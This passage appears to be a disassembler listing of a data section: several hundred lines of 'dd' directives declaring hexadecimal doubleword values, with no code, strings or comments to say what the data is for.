612D9F00h dd 24A272EDh, 0F043BA1h, 0C060651Ch, 826DBDE7h, 0F8058D02h dd 60961A8Eh, 7577DE1h, 782ACA0Eh, 0D9C4903Ch, 0EC00814Ah dd 0F3BB6CBAh, 12FF192h, 7D4F872Dh, 604DA56Ah, 0F0002446h dd 26CB736h, 0AFA81F4h, 0FF7EE729h, 9EE479F0h, 9200631Ch dd 0BB94C226h, 12107F53h, 1F68E0D2h, 0E9B7005Ch, 839E9F03h dd 0C2DB8C07h, 0AE9223DFh, 0A98403Fh, 9705056Bh, 2BFE5Eh dd 4AE7C3E8h, 0B624AC85h, 0F103C0F9h, 0F0B7960Bh, 12C7D4h dd 65F5A7E8h, 69CFC8EEh, 9A75D300h, 9AFC25Ch, 40F6001Ah dd 9807F599h, 7A003C67h, 2F1143B8h, 202F86Bh, 0AA84F076h dd 0AEC0E6C6h, 50056E2h, 88ADC374h, 0FF16D83h, 0CCAA4626h dd 5790BB00h, 10008191h, 79F3F406h, 0DB5899h, 0EB2FB1C8h dd 28229211h, 3A386700h, 272A5A0Bh, 1FA573A0h, 8A6B1C61h dd 0E03431h, 3F083C7Ch, 553F5C47h, 572200E0h, 4535736Eh dd 0F7DD0053h, 3FC3AC68h, 2300E199h, 0CBC9A7B8h, 0B8D5269Ah dd 4F51000Dh, 5DB002BDh, 0E7506752h, 0C71004E0h, 80A0B618h dd 82058A97h, 0A8C3473h, 538FC000h, 9022F29Fh, 0C41C26B0h dd 0BB4E066Eh, 7F7E2021h, 107A5607h, 760CE04h, 0ECBE4349h dd 1A7B0073h, 0FB70FA0Eh, 8100F51Bh, 8CB7D767h, 59D2E1h dd 0C7C0A5E5h, 0BED1FC25h, 1D002FF6h, 208C62B1h, 7DB6C69Bh dd 0DB4009Eh, 0B838B075h, 100336Ch, 2C0B739Ah, 1CDADFD5h dd 10DF9D7h, 0AEF38CE8h, 7AAAF8FDh, 0F48E3002h, 400FCF23h dd 0C51791Bh, 0C2F06BBAh, 710359ACh, 0E68B91FBh, 7789C8C8h dd 0DDFE3Ah, 9CBB3B6Bh, 0F860FC6Ah, 0BE59B400h, 0F2D0DCEDh dd 0CE24C009h, 3878FEFFh, 0CF6E2500h, 397628BFh, 80E667h dd 2CFD1AE6h, 6E335D48h, 0CE437900h, 4902650Bh, 0B9CB3ED0h dd 0BEDEA580h, 10EAF673h, 6B528B00h, 65262CE8h, 0D0590018h dd 3C9EF17h, 0D400AF78h, 2291B946h, 318375Eh, 0B0A0D328h dd 5B884F70h, 620978A8h, 0C7BB07h, 0A22A538Dh, 6A1500F9h dd 1CA87799h, 0D7004C5Eh, 2FC3B94h, 0E4C937h, 5F10B071h dd 761DB734h, 23784C03h, 98453270h, 84559Fh, 7DF54761h dd 0EFEB9CF4h, 0B78A8800h, 0B8AD1B72h, 0A23A1E6Dh, 2187C360h dd 47987A38h, 6C1D2092h, 8040BBACh, 0A60ECC79h, 0DDEF3BFFh dd 91F2C280h, 0F8331762h, 5B524A00h, 0EEE35A1Ah, 828B0028h dd 0ACC0B19Ah, 6E07F5B3h, 3B92E754h, 0E58569E0h, 90F815h dd 5D657F53h, 0BAC734D8h, 0E4754400h, 5B4D6163h, 9AA01C73h dd 5EF2C1C2h, 0E842B743h, 6F38D070h, 4F1580B3h, 0A44CA629h dd 971B00A1h, 764B187Eh, 27016F85h, 6DD546F6h, 57F05F3Bh dd 8BCE1D29h, 4AEC80C3h, 265297E7h, 0FDA458h, 0D740B3B4h dd 0E8856A2Bh, 3F603A54h, 0F5A27380h, 27D1134Bh, 0AD28CD60h dd 0ED71F8Ch, 4363FF4h, 0BAEB8C0h, 31184BA5h, 62601271h dd 0EDA0021h, 0A12854D3h, 41C25127h, 40D9148Dh, 7038F131h dd 0D8CA1C2Bh, 1E901DBh, 0D76490C9h, 0F01B9E81h, 500AE93h dd 0C5A43AE0h, 803804h, 0BF30FFACh, 0B5CDECE5h, 93F68D1Eh dd 0C7AAA5C0h, 6F9E63h, 2B3F9497h, 0F5A09821h, 0F2EE5371h dd 68C09300h, 1B4EBCFBh, 6C9B00C8h, 5A3E2042h, 7B0FCDE9h dd 230C3618h, 0D0A81EE2h, 1CEB9B23h, 16F95Ch, 6DE722C0h dd 673D6C1Dh, 589C8075h, 77832F73h, 0EBAE79CCh, 0E65F7870h dd 0CB5B0B0Ah, 0C8837B71h, 0D5F00F69h, 0B85B1DEEh, 0E005DECh dd 9F12E013h, 0F54C2888h, 3B080043h, 0F1779382h, 27F878h dd 0BF74B4B7h, 0A15A2331h, 7D2DF500h, 4C98EBB8h, 86F91F18h dd 613C8F2Ch, 595D60A0h, 7D0011A8h, 0FAD4728Ah, 0E18961Dh dd 0D75BC388h, 8B840012h, 4C941506h, 7FC7E700h, 0B0F04749h dd 0E1F23E0Ch, 3C128A80h, 43C6302Bh, 5319A500h, 5542EAE7h dd 0D4B70082h, 0F7324760h, 1450F4F0h, 857581D0h, 0F1BC0200h dd 299E3890h, 0DF6D0098h, 0D1B1D695h, 0F200F7F6h, 47340827h dd 0F27F5444h, 1D6F0019h, 9FC3AA9Dh, 0D1763AD0h, 0DB6D7504h dd 6BC0C142h, 0E03E53h, 3F69340Eh, 0E3CE62F6h, 0DFB0F700h dd 0D6EDFBF8h, 64DC004Bh, 0EA5F360Eh, 262E161Dh, 6600012Eh dd 0DBDD2DE2h, 0D0240086h, 0ABB7B1C4h, 640042BCh, 0F78B8859h dd 0F0B84Dh, 37CB271Fh, 8393334Bh, 267B1000h, 5DBA7113h dd 0CFFB2C6Dh, 0FD980013h, 0A1359169h, 15CB5801h, 0B16FA9D5h dd 8FA860h, 8A2EA237h, 315DEE17h, 0D0F69500h, 6CD8AD56h dd 0E92C004Dh, 2BA5B3CEh, 8E001028h, 0EED35AB4h, 129E6FEBh dd 3A175Bh, 849027ABh, 0E203ECD4h, 4C35BB50h, 862C9001h dd 0BC775Ch, 3DE4B3D1h, 0B22158A3h, 74F21802h, 81C6E1D5h dd 4EC5DEA4h, 0CC0CC0D7h, 0A7D81C38h, 1AD2872Eh, 21FB3148h dd 8B422062h, 0EB4C2400h, 0A93F148Fh, 2BD100B5h, 16BC667Ah dd 7D148C0Eh, 9899D8h, 0A5AE5B4Ah, 340F52h, 0A7B453C9h dd 996D4E7Eh, 0D2D18409h, 730B93h, 0FAAC0A2Fh, 0B1BA034Bh dd 543B4332h, 2B7CCAB8h, 0C9D1101Fh, 2EF764C0h, 0F0668D84h dd 92D93C42h, 4C25CD80h, 0F2CB3539h, 3C0AC00h, 893ACE20h dd 0EE5C0048h, 0A2E4A58h, 0F500A6D8h, 3F8276A7h, 0F63BAAFAh dd 642A0266h, 49920B86h, 0B8E73840h, 9809C81Eh, 45EE0700h dd 361B411h, 13A3EAADh, 75B808D7h, 2600708Bh, 0D95EDA05h dd 0AE808Dh, 0CB3FF7FBh, 5CE7C21Eh, 5D006EECh, 4DA12622h dd 0D55F67h, 0E54974AFh, 736347BBh, 31A06400h, 0D3A7F89Eh dd 27C00084h, 0BEA63709h, 77001850h, 0FFC4297Ah, 7A73697h dd 460AF351h, 624290EFh, 8E0032B2h, 6ABC8D64h, 0B82FC69h dd 4C060F18h, 0EEFD3800h, 0E1044A4Fh, 0E00904EFh, 3E658C80h dd 5A01000Dh, 764D8456h, 7100917Ah, 872C746Ch, 0E083E492h dd 0EDFC0095h, 9A0AE3D8h, 0A6796AA5h, 88A0E20Fh, 813BC02Dh dd 0DFB919h, 0FECF4CCCh, 0BF627D82h, 0D73E4800h, 93ABDC6Eh dd 0CB7B00B8h, 0D69020AAh, 0B11EF659h, 0E0000BEFh, 0DE567384h dd 578500CDh, 0C2D9F8FFh, 40074788h, 0E021D8B5h, 7D69D5D0h dd 94D0CF9Eh, 0C56138ECh, 9F7BCBE0h, 0DDF2C00h, 0BF5B2EEDh dd 219F4B6h, 0C8602038h, 1840D843h, 2C007148h, 531B140h dd 1C70C953h, 792276B4h, 0CECA5D80h, 0E3399262h, 7AECF00h dd 6B8620C8h, 2BC40F7Dh, 1F6272F3h, 83E183D8h, 0E39AF0C3h dd 6E4EA61Eh, 0A9D200F9h, 92B5BC57h, 28E102FAh, 0AAC29550h dd 0F196A960h, 3CAC0D00h, 8A71814Eh, 0C0031CF7h, 80D3DD0Ch dd 5936B656h, 0DD988440h dd 8B258018h, 0FD9958h, 94AD1815h, 1BCED1C2h, 46D94512h dd 998BF540h, 0AA43F2h, 0BBC44C7Bh, 6E375BE0h, 64478F01h dd 414A7E45h, 0E50058BDh, 0A69CB31h, 0F8E410F4h, 0D7D2D600h dd 632C8526h, 360301BDh, 8F3D9798h, 0C86C313Fh, 9100873Eh dd 401CEEABh, 0F2949BEh, 0F4BF8436h, 91A82A4Ch, 39C8E500h dd 0F81DF075h, 6AF71489h, 0DE00D467h, 0D40CD7B2h, 3800D630h dd 754EAAAh, 55D2C63h, 0F8B1EF48h, 7573C016h, 0B360400Dh dd 9DC09110h, 368038D4h, 49520585h, 69881FFh, 0A22F0DBh dd 0D23EC000h, 91774F81h, 2CEF0F3Ah, 5F2124DDh, 607A0C05h dd 0A93CC072h, 5C300ACAh, 0DF12E9A3h, 0D2B10C00h, 2376BB6h dd 0BF2D50B0h, 30403D3Fh, 7DF2FA03h, 0CEA97118h, 7A7A5F02h dd 8D460367h, 0EE48E68Ah, 0F7919C80h, 0E253200h, 0CA34F3C6h dd 0B0F61D73h, 52DD8098h, 0C93B182Bh, 0C6715E00h, 0E3F78C97h dd 0F3A206A8h, 707993B0h, 3A0D8903h, 0C8A6DEB6h, 782D1h dd 0EE3354F0h, 0E575B7F9h, 7EC97602h, 0C0788D97h, 3D20AB25h dd 0B881D6DEh, 0D3B501C2h, 0B7BEC41Fh, 4861AC0Eh, 4A790044h dd 216F7F3h, 693B27F6h, 0A88184B4h, 2F871B7h, 0F640C0D0h dd 0C23A0AAEh, 3BC00386h, 8645000h, 0EF17D3E4h, 80399739h dd 2824A0F4h, 0B0E74045h, 77990C89h, 4790C22Bh, 0B75CE301h dd 0DA3450CBh, 514CF0h, 95E0B596h, 39E3B69Ch, 0BF788A00h dd 23CB72A8h, 85100A9h, 1A0FBA37h, 0CA00B3F9h, 66DFAEFFh dd 706C85Ah, 0B7D5FDF8h, 64E3B3C4h, 2EBA03A0h, 944Ch, 0CD2B4982h dd 0F834E8h, 447E4D0Ah, 0EEC7BB41h, 111A1001h, 0C15B26C4h dd 58407E21h, 785F3DEh, 0A32A7749h, 0D7D3F0F0h, 0CF008489h dd 6D8F507Eh, 0B049C5h, 0FB1E6E27h, 195D9F86h, 90999DA0h dd 0B9334A1Eh, 3CECAA5Ch, 0F1EADA00h, 3ADE1EA7h, 0C880662Eh dd 3E0AB12Bh, 90B8AFBCh, 382C4238h, 95BE830Fh, 983AB558h dd 4692967h, 0BA52A3B9h, 0A5A0803Ch, 860019B2h, 0FAC96C9h dd 7DE5EFh, 0FB24054Fh, 0C2519803h, 3700A67Ah, 32B71E3Fh dd 1CC87EF4h, 0C068D060h, 78CC676Fh, 0E303ED7Ah, 0B05F9475h dd 70D498B6h, 5A62020Eh, 2A6F9F33h, 5560EF8Eh, 0D1D0C426h dd 0BA3ED40Fh, 6356C010h, 0EAEB0D37h, 0DB30384Ch, 0E1BF2Ch dd 889F0848h, 3B1E94B0h, 9A00C66Ah, 3A7A5AB5h, 7C8426BAh dd 0C92008E0h, 0BBAA6980h, 4D181Bh, 489F8A7Ah, 2C158CB7h dd 9AA25C00h, 306D8B97h, 0E2B9048Dh, 808F3F02h, 0D29CBA98h dd 552858F8h, 0F9B0E051h, 0B883993Bh, 0FA068028h, 4810DD62h dd 0C6E65C1Ah, 3D5B310Fh, 0FF7FC260h, 0E00F365h, 52B36EEh dd 9B2545h, 0CD8914Eh, 1D4A88D5h, 8B1CE100h, 0AD411F3Dh dd 0DB8F3909h, 4FAED80h, 0A31D7163h, 0C585B800h, 0A769B231h dd 0A27B00C6h, 77D9BD97h, 33E8DFA5h, 1B8E8000h, 4D83CA11h dd 2B7846h, 6CEB2A55h, 0A8D7F87Ch, 60B7C900h, 1E7026D4h dd 5783003Bh, 6675FEBDh, 310040A3h, 4950150Bh, 0F0604F4h dd 0DAA25B20h, 0E9612F2Eh, 0D0594AD0h, 9900EF54h, 0BA428E3Dh dd 16A7A0h, 0C866B171h, 29CE10A2h, 0B81F38h, 1C15D783h dd 0F7ED57h, 0D451F079h, 8D0F6B5Ah, 0F2458407h, 4CE029DBh dd 175D415Bh, 7F08052h, 67F89BA9h, 65B1F085h, 320399C9h dd 0FEA3691h, 2235F8FAh, 0A35200FFh, 6BFE5008h, 970074F7h dd 0CB617592h, 7C9065h, 47BDB378h, 254CEE53h, 49A7A400h dd 661B8933h, 9DC40035h, 8A814BBDh, 76261D4Eh, 5F00EE19h dd 330B962Fh, 0CCEF00E7h, 0D61ECEC0h, 53033712h, 978C44E1h dd 0D3B991E4h, 0F487E8h, 23548BEBh, 0BD61E67Fh, 779C3Eh dd 640B001h, 5876AAE3h, 1D1F5C6Eh, 60007CDCh, 0A0042AACh dd 0B10042B8h, 0AEA83AC9h, 0F88AC5h, 1DE16F69h, 0DC15814Ah dd 2A10A00h, 0C07916EBh, 7F07483Ah, 0EC80833Bh, 43709318h dd 9900F53Ch, 0D566DC5Ch, 0B0E5C7FEh, 4BC300FFh, 0A1263A14h dd 1900EA48h, 3FC85102h, 0B3035Bh, 6E6CE98Fh, 0DCA04FA4h dd 7ED20700h, 0ED0BFC0Ch, 3D4B01FDh, 30ADB01Eh, 8DF2707Ah dd 8C4DD13Eh, 1084BC32h, 0ED260068h, 30D658Eh, 0A31F9F0Ah dd 0C830AF93h, 3846736h, 0B45E650h, 0A7A0F63Bh, 0E8C6906Dh dd 2110963Ah, 0B080E447h, 7E44CCE3h, 85720014h, 48535287h dd 0C700B323h, 12C925BEh, 7F9DA3B5h, 0CF55038Ah, 0FE15A110h dd 524376A0h, 807E6E30h, 300C798Dh, 958C653h, 0E0E78CBAh dd 46095575h, 8EE6E7ABh, 20E50F22h, 0C3C726FDh, 20705053h dd 0CE6337E9h, 0DE5080E8h, 0A4F80B44h, 5D044518h, 0E1E68h dd 516F818Bh, 0B93CFEFBh, 0E0A8F738h, 0D4855C0Eh, 0C6820054h dd 0A6B5AA6Dh, 2D054353h, 55AB9E4Ch, 4A27C8C0h, 6E0C0F86h dd 2A04578h, 80A61156h, 85EAE800h, 0DC2BF205h, 347F3D65h dd 6B8C1280h, 0E49560D3h, 1DF5B000h, 3BEAB10Eh, 0EE4E9811h dd 5224037Fh, 0AC5E237Ch, 0E6A9B2D7h, 543D3048h, 7E5D6D01h dd 270E9683h, 0B839C03Eh, 0EB00AE40h, 9F0F126Bh, 0FC687B4Ah dd 151E78C1h, 8C7D31D1h, 93010A00h, 0AB30BF32h, 1E68B30Ah dd 3F9C94D0h, 48A8C381h, 39EC556Ch, 0A6D9000Fh, 17E3029Dh dd 0E5027E7Ah, 0A542F70h, 720060EAh, 0F11B1CE2h, 7628C0FEh dd 0B19A7BFBh, 0BE002492h, 158BEA7Ch, 12A6DD93h, 6D7FEFh dd 4F28D80Bh, 8E1EFEFDh, 0D287CBABh, 0C180E53Bh, 0F1A0B4A2h dd 0DAADE8h, 0E985DCCCh, 4575E460h, 33D87C14h, 0E85A5068h dd 234985F0h, 4E740A6Ch, 0FA9798E0h, 0EC9BA406h, 0E69011h dd 0C1406B17h, 8C545E31h, 80C3192Ah, 0F6104907h, 0FCF0D13Fh dd 0AF76B0h, 0B9058C6Ch, 0AD1A40E7h, 68CB6EF8h, 0B83D43B7h dd 55C92Bh, 0B23D160Fh, 0BC8865F0h, 2E82430Eh, 454FC05Bh dd 52DE95h, 0F550E31Ah, 0EBFEB234h, 35580B00h, 7D2B5141h dd 60CE2D6h, 0D18510FDh, 383C50E2h, 1E81856Ah, 0D11D25B6h dd 5D557281h, 708010E7h, 0F23EF77Ah, 49006EA8h, 23C2435h dd 176C20Bh, 0BEDFE346h, 9F0DA0D1h, 6E6C10A1h, 0F37C5D03h dd 379288EFh, 753E1C71h, 0D3B00376h, 5803308h, 7C38213Ch dd 4745807Ah, 798A1FEh, 0C048DD3Ah, 0B5E58491h, 100276Ah dd 3E2A74Eh, 0EE91707h, 7FEB7BF0h, 55334A0h, 87EBAC97h dd 0FCD09A39h, 92726790h, 59F800EAh, 21F5B317h, 0A9C0F419h dd 7324EF9Eh, 0FB550C2Bh, 0DCF0E838h, 97007D76h, 3E41E7D0h dd 7B1BAF32h, 121C0FCh, 0FF8FB023h, 66121A00h, 0B3D14B41h dd 0E8BD0059h, 5C03C658h, 6F03E52Dh, 11FDB05Eh, 8970893Eh dd 188010E0h, 52F45F36h, 0FE600C19h, 97E1D730h, 0FBC73745h dd 80810041h, 0F70E3AEDh, 1F6C0F8Fh, 21E2558Ch, 527C82h dd 94EDC407h, 4035ACDFh, 9716FF02h, 0C04EA4D8h, 77A2C01h dd 0A6769AE7h, 0C03CC0A3h, 0D37B0DD4h, 2DC8FB00h, 3FDCE6FAh dd 27E201C7h, 50997593h, 55FC704Ch, 0E819600h, 3706CE36h dd 6A881DEAh, 0A24D8E0Dh, 31945C0h, 0DD03DF6Bh, 4F8D2BFAh dd 0C892E8CAh, 0DC2F0941h, 80FF6Ah, 8278EEB5h, 0E6C4610Ch dd 4A78C2h, 8354FB98h, 6514ED88h, 0F4968A00h, 5FC00912h dd 0E2763AFFh, 0DBAC0380h, 605CFC6Ah, 8D3D78E4h, 6CE3801Fh dd 8ED16D4Bh, 46556D6h, 1C88D4A2h, 4E58D704h, 106660ADh dd 9DFA84F8h, 1517011Fh, 0F07120B0h, 0DC28C070h, 0DDA6B628h dd 7E0FE27Eh dd 809F3F15h, 720813A3h, 2FA70736h, 0E0E9D5F6h, 3BDC8455h dd 74068518h, 906F40h, 13C4E445h, 0C87C913Ah, 0D8F65801h dd 54863009h, 1F59BD3h, 0D90AD120h, 4E271860h, 1F8F0820h dd 0CDA5602Fh, 6A309BC3h, 90E5E10Eh, 98AD3FA0h, 0D5D3BB0Fh dd 4C6366C0h, 0BD00D2ACh, 4D0503C5h, 38711AC6h, 5F8F6DCDh dd 1058076Ch, 497F8836h, 4EDA20h, 7AE68219h, 138BD641h dd 0EF87EA00h, 32050B5Dh, 0FA6D7322h, 4D9107B1h, 0C0AF35C8h dd 0F3FCF871h, 16DB30A0h, 7400D27Bh, 0F485FFABh, 544A3h dd 0A06A6CD1h, 6F3ED57Ah, 0D43DCCE3h, 37387B60h, 0F7D3F62h dd 92DD5D88h, 440178E0h, 3500FBBEh, 618BBD9Ch, 0CABB098h dd 744A1ED3h, 79C01D40h, 7B86DE77h, 0E1EB00BAh, 0FFA1F340h dd 843FB5DFh, 198701DAh, 7F1B2CD1h, 0E2D9BDD4h, 352F0014h dd 692F774h, 2B0EE915h, 401CE59Eh, 9AC0897h, 0CC070180h dd 61644D6Dh, 1D9C5065h, 0F83FD257h, 1881E19Eh, 28BCCEDAh dd 72621A01h, 8078E593h, 35089B10h, 3A73497Bh, 0FD01AACBh dd 9E916E0h, 4D418084h, 95992539h, 1BC83C34h, 0B5142C57h dd 6A1C781Fh, 0C8F300FEh, 8CB3F42Bh, 0AE7E1A02h, 33A52CC3h dd 0A0BD18E0h, 0B69A0A03h, 0CD2AE1Fh, 133BAD99h, 79000251h dd 0BF44363Ch, 3A883A93h, 0B40AE684h, 17C6361h, 89AA4E98h dd 0FF09CCD2h, 0C12CF848h, 0DD4CF666h, 379862F8h, 0D0C832ABh dd 5CADC6F1h, 9C36A03h, 1BC33CDh, 83AED1D0h, 20B5A14Eh dd 0EA60F114h, 992039B0h, 0EEBBEA51h, 0F88A22C4h, 0B9801607h dd 0C3703411h, 21B379h, 944B63F5h, 0B1CCCFA7h, 699833Eh dd 0FC1F8B6Dh, 54642C50h, 10A8312Ah, 0A03824AEh, 0DD0006FEh dd 9FE5D7BFh, 0B0417660h, 86B403E0h, 0E189CD9Ah, 84F89DABh dd 0F0C4A912h, 214949E3h, 20824000h, 0D0C0C85Ah, 2819EFE9h dd 0A8D4733Bh, 32FC98h, 86473929h, 9944022Bh, 1A256300h dd 0EF1598DBh, 49A90369h, 0E90B9C52h, 96DF4080h, 9ABB203h dd 313A78h, 0C553DE71h, 5A431ADDh, 3000E77Ch, 0AE085C8h dd 632056AAh, 5D078961h, 3B861180h, 1E004A72h, 19E78CE9h dd 9D556E0h, 1846F776h, 27987801h, 1B39805Bh, 0AEDBD2CDh dd 0E5079F6h, 0A0A32AFFh, 4BBC8820h, 0BB2EC902h, 4205AFC8h dd 0F461D169h, 4980643Ah, 0F6DC23FEh, 9BF86759h, 5B000470h dd 1D506319h, 0A1B2A148h, 2034E4F8h, 0D4651064h, 3610184Eh dd 0FA1959F1h, 9AD9003Ah, 67918F24h, 82790246h, 73ECC704h dd 749CAD66h, 89901FBBh, 827200FAh, 0DD3E6367h, 1819D2C9h dd 3E47D108h, 605289FFh, 4CE84E28h, 5501802Ah, 0AC0F03EAh dd 0F0223Bh, 368B7BDAh, 0D580CAh, 0DF08740h, 8C36857h dd 0FAF3E04h, 0D88178E9h, 0F80063A0h, 0E28B0789h, 7E4447Dh dd 466898B6h, 0E96D04Ah, 201847E9h, 7520CF15h, 0C09F0073h dd 52613309h, 0B800AF03h, 807950EAh, 99BE259h, 0FF8AD85Eh dd 0A2A18C20h, 0AD1EE8B6h, 3240C796h, 0B7DE9DF8h, 0EE850290h dd 896BD2EDh, 64B81880h, 5700DEBCh, 19CA333h, 9D8E337h dd 0DB5D2B2Eh, 62C62A80h, 181B1B84h, 0D239A48Fh, 996C4841h dd 649639DCh, 2E2E62Eh, 6F6D70B5h, 0BB1F8F80h, 3626C459h dd 5FC50461h, 417786h, 7F0B2C0Fh, 14E4A583h, 1804824Ch dd 59217E42h, 0EA290050h, 3F677C5Fh, 0CC05B584h, 1928996Ch dd 4F4E0081h, 0D94A04Ch, 4B625F6Fh, 10573141h, 0E57603BCh dd 8473B600h, 1FF3ED52h, 1FB7560h, 69C0F168h, 8062485Fh dd 8CA79839h, 30ED783Dh, 0D5F9E68Eh, 860EE96Eh, 0B55835E7h dd 0ECE4CA90h, 8553B140h, 377324F3h, 0BE3E3C34h, 708ED614h dd 0B040D53Ah, 4105660Fh, 8FD7A0B5h, 7A91309Bh, 9137859h dd 9085F0CEh, 4A6C9010h, 40A94D44h, 700AD7Bh, 0D225F7DBh dd 704CC288h, 8DA700E2h, 92B5FAC7h, 3A1A239Eh, 393072F5h dd 9E01A98h, 0DC312EE1h, 40002C13h, 93D58FF8h, 0AB417800h dd 2402BF91h, 0C1B85884h, 0C9B51E00h, 0FF4EF768h, 3CB07890h dd 1D1CF200h, 923F086h, 4A3D026Ah, 0EA65CC37h, 0C8EBF860h dd 0EC83AD88h, 0FD270F57h, 3E1C0482h, 0BE00A13Eh, 0C5F34970h dd 6629D63Bh, 3A0BF498h, 0DA182229h, 0E12AE0C7h, 5DF214BFh dd 6D826840h, 0C4A0E389h, 0EC1F7635h, 0A53B510Fh, 0C8B80054h dd 159EDE5Bh, 0ECFE8969h, 0B17A2401h, 70773899h, 0C8052604h dd 4C28480Ch, 5A474080h, 6ED09C1h, 28271F3Ah, 1D8330B1h dd 2F001C94h, 0DC554269h, 3D664C3Ch, 90569AD4h, 0F02A2058h dd 848E3080h, 37A2A7A1h, 13CDBD01h, 244893FCh, 44CEB8EBh dd 0A6630BD3h, 3C1A9FD9h, 599344C0h, 10BA24A1h, 0C47966h dd 909D2E35h, 0E8A954E1h, 83DA4C38h, 69EB4B01h, 0D3D4E9F4h dd 7873F050h, 0E3FC6Ch, 53801E89h, 0A203DAC7h, 0C8D16E05h dd 38D81FE8h, 8C4491FFh, 6019BB8Eh, 9300D4F0h, 0F53C67EFh dd 1FA7903h, 6CBC84BAh, 33D18DC1h, 0B40071CCh, 8AB52190h dd 2E99824Eh, 0C324A7B6h, 6B911AACh, 509CF1B5h, 726DB47Ch dd 96634E2Ch, 0A0B9480Bh, 0E1602E28h, 35BB0FE9h, 19427D65h dd 8464782h, 6B096DA0h, 5217FA0Bh, 0B0882B7h, 7F3901E5h dd 2E4C3399h, 6F4ED489h, 8D44E043h, 0D9BD8Ch, 17B6D732h dd 617219ADh, 82E06748h, 482E208Dh, 1EC0394Ch, 0FC980Fh dd 0ADA27BE5h, 212E859Bh, 4B9740EFh, 0CC4CA022h, 287A08F0h dd 4D0372B1h, 0F090B36Ah, 5CFF1107h, 95802C21h, 36D49802h dd 0CB3CCF4Ch, 0ADF8103Ah, 0A40403DCh, 12EC4031h, 0ED0D4F98h dd 35F26004h, 0C88D724Eh, 0AC006833h, 0C317D09Eh, 0BEB84E7Eh dd 0F28A8099h, 0C51CC01Ah, 0DFDCB9B0h, 136EA35h, 65879F56h dd 0D5F89598h, 9251B81Bh, 0B498AB7Ch, 413660C5h, 0ACA6B735h dd 34169900h, 113731C4h, 282705Ch, 0AF9E7509h, 0D482B64Fh dd 0D100D32Bh, 21FDD4Eh, 78B90EA5h, 4841AD05h, 4895F34Bh dd 36847EACh, 0D4A40686h, 47F58465h, 11581FDCh, 0E61983C0h dd 0B5E01122h, 10CC5848h, 44E42C6h, 40784D10h, 2FF169C0h dd 0E86801D0h, 0FB42D233h, 0CA3029B6h, 0B104444Bh, 8E07C862h dd 0E00048E2h, 928CB383h, 0C99302E1h, 5F378407h, 183F40ECh dd 0C631E5E7h, 858F6000h, 5BFF540h, 0E8CFBD15h, 5D8C821h dd 0D30FB701h, 0F5350BFCh, 3B8CC9D0h, 34847090h, 8001F015h dd 41CAE544h, 196A1B25h, 0BC0CC0ACh, 16E1EA00h, 0AF66C1F5h dd 5DD0530h, 0CC68A56Bh, 9A0026ECh, 0B1DEE033h, 0B68640h dd 0CB92C196h, 93A6DAAEh, 8728F700h, 0BB3163D0h, 0C2B0BF2h dd 9832D2B2h, 9758E080h, 0BA00B6F3h, 40259592h, 933E8249h dd 1D1154h, 39C0E131h, 0E455DF35h, 5E9C0245h, 0E991C215h dd 5AD2CC40h, 8F1F990Ah, 0F68EA0C9h, 0CC010017h, 2EE58098h dd 0AE8EB0Dh, 0BDAC1EC5h, 0B65F480h, 257D51A6h, 28019914h dd 79B530C4h, 17F1A84Eh, 440E93B6h, 0B148E5ECh, 0C8583024h dd 6E02DAEEh, 8527B41Dh, 0EC4645h, 8ABA4FA0h, 75D772D2h dd 93DCCD49h, 0BBF86820h, 0DAB80599h, 63E1643Eh, 0BDEA0980h dd 4419BCABh, 7DB54069h, 98268D68h, 0E48CD8D9h, 0AD21E0h dd 972B8809h, 49A968A6h, 14B6DE16h, 89C4402h, 47D100CCh dd 0C20485C0h, 9869F2BDh, 10F10C98h, 6DB98Ah, 705A035h dd 108D6h, 0EDC06184h, 3A8C5E89h, 2EF3BA00h, 203E0A8Dh dd 93B5ECCEh, 367F888Ch dd 5C881093h, 0D5F5006Eh, 9093F17Eh, 0A5020F9Bh, 0F09739B5h dd 39A0ECFEh, 0CC9DE547h, 1943007Fh, 0D0F8E17Ch, 6621F8C5h dd 697E9040h, 481FB5h, 64D47AA0h, 0A5C38212h, 39085D0Bh dd 62288FE6h, 421EDCD6h, 25F844B4h, 0E8AEC2F8h, 6127D125h dd 44635884h, 5BF888E5h, 5E8071DDh, 7E358E10h, 241A773Eh dd 38A94696h, 4CB85000h, 0CC77BED2h, 0A798CA03h, 0C0E54A28h dd 991D6561h, 32870914h, 509484C4h, 0FD8E63h, 751001A1h dd 242B1487h, 6D89731Dh, 95C26282h, 58184EC4h, 8D8E24CDh dd 0E00C04D2h, 7FC646FFh, 7B487779h, 0C7B20079h, 815DF95Fh dd 789659E6h, 0BDE08824h, 0B8979084h, 0A40C737Eh, 2AF50EB8h dd 1C07C08h, 45DB167Ah, 15317000h, 68174CCEh, 0C6EB3AADh dd 0A4290B07h, 998245E4h, 3872F8h, 5FFA587Bh, 18C2C3h dd 6DBD0B44h, 10A06CA3h, 9502C00Ah, 98827473h, 90E7721Eh dd 8877C5E0h, 0A009914Ch, 24D2F7A2h, 0F821F68Ch, 4AF4489Eh dd 80008E48h, 0C830232Fh, 0C68902BBh, 0B51649AAh, 393B9841h dd 4DBF00BCh, 6A54D038h, 6BBA05F3h, 30D8782Dh, 0FFF8CF94h dd 8025035Ah, 6CD04713h, 3917A9Ch, 12C9CE25h, 0CAC065D2h dd 0A2F6BBE1h, 3EB8A304h, 1CC190AEh, 34300F2Eh, 0ADA1C1DCh dd 298A508Eh, 92A001Ch, 1C33ACDEh, 0CABD0024h, 0CB17432Bh dd 0F041FCFh, 6F68D361h, 0A50BF0E3h, 0ED0038F2h, 857C4D67h dd 3BADF60Ch, 6FB11Ch, 0C3A98BFFh, 31D39AA7h, 0DC712D4Bh dd 0A03D8C66h, 809351C7h, 7FDD6F3Ah, 4E00427Fh, 0E161C524h dd 18860259h, 80D8A1FEh, 5654F714h, 749C21CCh, 8A6BDD83h dd 0D645A8D5h, 14D00078h, 6533FE84h, 0CB3CB5C2h, 0AF96058Ch dd 0CC580E49h, 27A3BBD0h, 0A0186980h, 92C3751h, 0B591D032h dd 2DF165CFh, 4A782010h, 73A5607Bh, 3BD43E75h, 83A6E202h dd 44CC7D4Dh, 1BC1F44h, 59681AF8h, 0F4738B16h, 0F33CDBD3h dd 0FF4A013Fh, 8665854h, 20323442h, 751C7C44h, 9DF7B40Eh dd 80980E6Ah, 0D84EE80Ch, 304F4EE0h, 514BA57Ch, 7941238h dd 857FD975h, 409863D0h, 4F609ABAh, 9C2425F6h, 0EA18F860h dd 18787A96h, 29C862A8h, 0B848DDC6h, 0E80E17BFh, 57BBD7h dd 1E14CA64h, 0D47E008Fh, 9CDE54B3h, 0D2315F87h, 6A4DC19Ah dd 137873D2h, 372C22D7h, 0F158E920h, 